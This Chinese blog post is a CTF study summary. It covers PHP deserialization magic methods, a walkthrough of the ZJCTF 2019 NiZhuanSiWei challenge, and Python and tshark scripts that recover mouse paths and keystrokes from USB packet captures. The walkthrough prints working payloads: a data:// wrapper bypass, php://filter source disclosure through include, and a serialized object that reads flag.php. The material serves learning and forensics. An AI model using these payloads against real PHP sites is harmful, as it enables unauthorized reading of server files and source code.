前言

这段时间思考了几个问题,刷题的意义?拿到一道题知不知道它要考什么?有没有思路就去做?做这么多题有没有总结套路?知道考点了,是否明白它要考这个考点的具体什么内容?是否明白从何入手?
其实刷CTF题目就高考刷题一样,做那么多题,最后考试还是不知道从何入手,知道要考这个题,但是不会变通,就是只会做自己做过的题,都知道考试不会有一模一样的题,不会说用以前的公式模版直接套就能得到答案。CTF也一样的!
可能有的知道一些刷题小窍门,就像CTF中的一些骚姿势一样,虽然放在一些题目中比较实用,可以适当总结一点。但是不要依赖,否则会限制思维,看到题就会给那上面想,也不向其他地方思考就想着捷径,最后就会发现,有些基础知识,理解的都不深刻,甚至不了解。这是很可怕的,没基础就不用说了,根本不入流。
以后决定改一下自己的博客风格,尤其是题记。会写的比较详细。拓展多一点。知道自己理解了为止。

开始这周的总结

反序列化知识

一般拿到反序列化的题,从哪里入手?
之前学过一点点基础的反序列化,题目还是比较多的,所以再进行深入的学习一下。

1
2
3
4
5
6
7
8
9
__construct: 	在创建对象时候初始化对象,一般用于对变量赋初值。
__destruct: 和构造函数相反,当对象所在函数调用完毕后执行。
__toString: 当对象被当做一个字符串使用时调用。
__sleep: 序列化对象之前就调用此方法(其返回需要一个数组)
__wakeup: 反序列化恢复对象之前调用该方法
__call: 当调用对象中不存在的方法会自动调用该方法。
__get: 在调用私有属性的时候会自动执行
__isset() 在不可访问的属性上调用isset()或empty()触发
__unset() 在不可访问的属性上使用unset()时触发

代码审计非常重要,现在也打算重修代码基础了。
PHP进行序列化,首先实例化一个对象,然后将对象进行序列化和反序列化处理,一个简单示例

1
2
3
4
5
6
7
8
9
10
<?php
class m0re{ //创建一个类
var $test = '123';
}
$lxj=new m0re(); //实例化一个对象
$a = serialize($lxj); //进行序列化操作
echo($a);
?>
//输出
//O:4:"m0re":1:{s:4:"test";s:3:"123";}

然后如果进行反序列化,就在原本的基础上进行代码操作unserialize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class m0re{
var $test = '123';
}
$lxj=new m0re();
$a = serialize($lxj);
echo($a);
echo "</br>";
$lalala = unserialize($a);
print_r($lalala);
?>
/*输出结果
O:4:"m0re":1:{s:4:"test";s:3:"123";}
</br>
m0re Object
(
[test] => 123
)
*/

然后调用魔术方法的示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
/*代码来自chybeta师傅*/
<?php
class chybeta{
var $test = '123';
function __wakeup(){
echo "__wakeup";
echo "</br>";
}
function __construct(){
echo "__construct";
echo "</br>";
}
function __destruct(){
echo "__destruct";
echo "</br>";
}
}
$class2 = 'O:7:"chybeta":1:{s:4:"test";s:3:"123";}';
print_r($class2);
echo "</br>";
$class2_unser = unserialize($class2);
print_r($class2_unser);
echo "</br>";
?>
/*
O:7:"chybeta":1:{s:4:"test";s:3:"123";}
</br>
__wakeup 此刻调用__wakeup()
</br>
chybeta Object
(
[test] => 123
)
</br>
__destruct 此刻调用__destruct()
</br>
*/

师傅写的代码很容易理解,多看几遍,最终理解什么时候调用什么函数,为后面做题打好基础。

构造函数__construct():当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。
析构函数__destruct():当对象被销毁时会自动调用。
__wakeup() :如前所提,unserialize()时会自动调用。

一般看有没有危险函数,诸如

1
2
- 命令执行:exec()、passthru()、popen()、system()
- 文件操作:file_put_contents()、file_get_contents()、unlink()

结合例题(虽然之前做过,但是再做一遍,多点思考)
[ZJCTF 2019]NiZhuanSiWei

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>

看到include文件包含,首先想到伪协议进行读取源码。看到有useless.php提示可能包含的是这个文件,所以需要考虑怎么执行到这一步。
一句一句分析,是先绕过if语句
text===welcome to the zictf,使用伪协议进行读取字符串
data://text/plain;welcome to the zjctf但是他有过滤,

1
2
3
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();

正则匹配flag进行过滤,所以需要进行绕过正则,就要使用data伪协议中的base64形式来进行绕过。
text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
这算是绕过了第一个if,继续看是文件包含了,使用php://filter来读取源码。
file=php://filter/read=convert.base64-encode/resource=useless.php
拼接一下,得到最终payload是

1
?file=php://filter/read=convert.base64-encode/resource=useless.php&&text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

回显得到base64编码,进行解码得到useless.php的源码

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>

拿到源码,通一遍,然后就是有目的性的去找危险函数,比如这里的__tostring()file_get_contents()

1
2
3
4
5
6
7
__toString触发条件:
echo ($obj) / print($obj)
打印时会触发
字符串连接时
格式化字符串时
与字符串进行==比较时(PHP进行==比较的时候会转换参数类型)
格式化SQL语句,绑定参数时 数组中有字符串时

然后尝试进行序列化,看到的上面的代码中$file变量是没有参数的,注释中又给了flag.php,所以flag应该是在flag.php中的,所以读取文件flag.php然后创建对象.
还有这个别忘了$password = unserialize($password);并进行序列化,最后传参。
才可以得到password。
PHP代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class Flag{ //flag.php
public $file = "flag.php";
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$m0re_1 = new Flag();
$m0re_2 = serialize($m0re_1);
echo($m0re_2);
?>

序列化结果O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
最终payload,拼接

1
?file=useless.php&text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

可能有的疑问:为什么useless.php不使用php://filter
因为:现在要读取的不是useless.php了,只是包含就可以了,现在要读取的是flag.php
最后在源码中发现flag。此题结束。

流量分析之USB流量题目

周四公开课学长讲的USB流量分析,讲了鼠标流量和键盘流量,现在进行复现总结。

知识

USB是一种外设接口,可以通过对它进行流量抓取,例如键盘击键,鼠标移动与点击,存储设备的明文传输通信、USB无线网卡网络传输内容等,下面的学习主要针对鼠标和键盘流量。

鼠标流量一般是四个字节,类型是USB,数据包一般wireshark打开会知道是怎样的。
m0re
鼠标信息,是通过点的方式来决定的,比如画一条线,抓取流量抓取到的是坐标信息。一个点一个点的坐标连接起来组成的线,然后得到鼠标轨迹。

鼠标数据包的数据长度为4个字节,第一个字节代表按键,当取0x00时,代表没有按键、为0x01时,代表按左键,为0x02时,代表当前按键为右键。第二个字节可以看成是一个signed byte类型,其最高位为符号位,当这个值为正时,代表鼠标水平右移多少像素,为负时,代表水平左移多少像素。第三个字节与第二字节类似,代表垂直上下移动的偏移。

键盘信息,通过敲击来传输信息。
键盘流量信息特点

键盘数据包的数据长度为8个字节,击键信息集中在第3个字节,每次击键都会产生一个数据包。所以如果看到给出的数据包中的信息都是8个字节,并且只有第3个字节不为0000,那么几乎可以肯定是一个键盘流量了。

在USB协议的 文档中搜索 keyboard。就可以找到击键信息和数据包中16进制数据的对照表
m0re

鼠标流量取证

思路:一般是提取字节流,然后利用脚本进行整理,比如在数据中加上冒号,删除提取中得到的空行,然后使用画图工具进行描点画图。得到轨迹。
使用命令提取信息,tshark
tshark是网络分析工具wireshark下的一个工具,主要用于命令行环境进行抓包、分析,尤其对协议深层解析时,tcpdump难以胜任的场景中。

1
tshark -r usb2.pcap -T fields -e usb.capdata | sed '/^\s*$/d' > usbdata.txt

使用这条命令进行提取减少出错,不带正则的话,后面使用脚本提取可能会遇到空行就中止了,导致提取不出完全的数据。自然也画不出图来。
得到数据,在文件中看到数据。
m0re
下一步要根据坐标画图,这个坐标也不是画图工具—— gunplot可以识别的。所以要用脚本处理一下。
首先剔除长度不是8位的,然后两两分组,加上冒号。

还需要注意的一点是:鼠标流量可以是左键或者右键。这个在下面的脚本中有提到,1代表左键,2代表右键。可以使用脚本跑,测试哪个可以跑出来结果。

使用通用脚本进行处理
加冒号的处理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
f=open('usbdata.txt','r')
fi=open('out.txt','w')
while 1:
a=f.readline().strip()
if a:
if len(a)==8: # 键盘流量的话len改为16
out=''
for i in range(0,len(a),2):
# [0,2,4,6,8,10]
if i+2 != len(a):
out+=a[i]+a[i+1]+":"
else:
out+=a[i]+a[i+1]
fi.write(out)
fi.write('\n')
else:
break

fi.close()

然后就得到了所有8位数据,然后就是将其转换成坐标的格式。
仍然是使用python脚本进行批量转换。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
nums = []
keys = open('out.txt','r')
f = open('xy.txt','w')
posx = 0
posy = 0
for line in keys:
if len(line) != 12 :
continue
x = int(line[3:5],16)
y = int(line[6:8],16)
if x > 127 :
x -= 256
if y > 127 :
y -= 256
posx += x
posy += y
btn_flag = int(line[0:2],16) # 1 for left , 2 for right , 0 for nothing
if btn_flag == 2 : # 1 代表左键
f.write(str(posx))
f.write(' ')
f.write(str(posy))
f.write('\n')

f.close()

m0re

然后使用gnuplot画图工具进行画图。kali中安装方法

1
apt-get install gnuplot

使用方法不再细说。
还有个是使用了github的一个项目——UsbMiceDataHacker
使用方法

1
python2 UsbMiceDataHacker.py usb2.pcap RIGHT 	# letf为左键

键盘流量

前面操作与鼠标流量处理方式相差不多,几乎相同。
就是加冒号处理的时候,脚本需要改一下。就是很简单的
m0re
然后就是使用通用脚本将数据分析出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
mappings = { 0x04:"A",  0x05:"B",  0x06:"C", 0x07:"D", 0x08:"E", 0x09:"F", 0x0A:"G",  0x0B:"H", 0x0C:"I",  0x0D:"J", 0x0E:"K", 0x0F:"L", 0x10:"M", 0x11:"N",0x12:"O",  0x13:"P", 0x14:"Q", 0x15:"R", 0x16:"S", 0x17:"T", 0x18:"U",0x19:"V", 0x1A:"W", 0x1B:"X", 0x1C:"Y", 0x1D:"Z", 0x1E:"1", 0x1F:"2", 0x20:"3", 0x21:"4", 0x22:"5",  0x23:"6", 0x24:"7", 0x25:"8", 0x26:"9", 0x27:"0", 0x28:"\n", 0x2a:"[DEL]",  0X2B:"    ", 0x2C:" ",  0x2D:"-", 0x2E:"=", 0x2F:"[",  0x30:"]",  0x31:"\\", 0x32:"~", 0x33:";",  0x34:"'", 0x36:",",  0x37:"." }
nums = []
keys = open('out.txt')
for line in keys:
if line[0]!='0' or line[1]!='0' or line[3]!='0' or line[4]!='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!='0' or line[16]!='0' or line[18]!='0' or line[19]!='0' or line[21]!='0' or line[22]!='0':
continue
nums.append(int(line[6:8],16))
keys.close()
output = ""
for n in nums:
if n == 0 :
continue
if n in mappings:
output += mappings[n]
else:
output += '[unknown]'
print 'output :\n' + output

是python2的脚本。
m0re
最后flag是720593,因为[DEL]是删除。

loading

不能把握人生的方向盘,前进还有什么意义!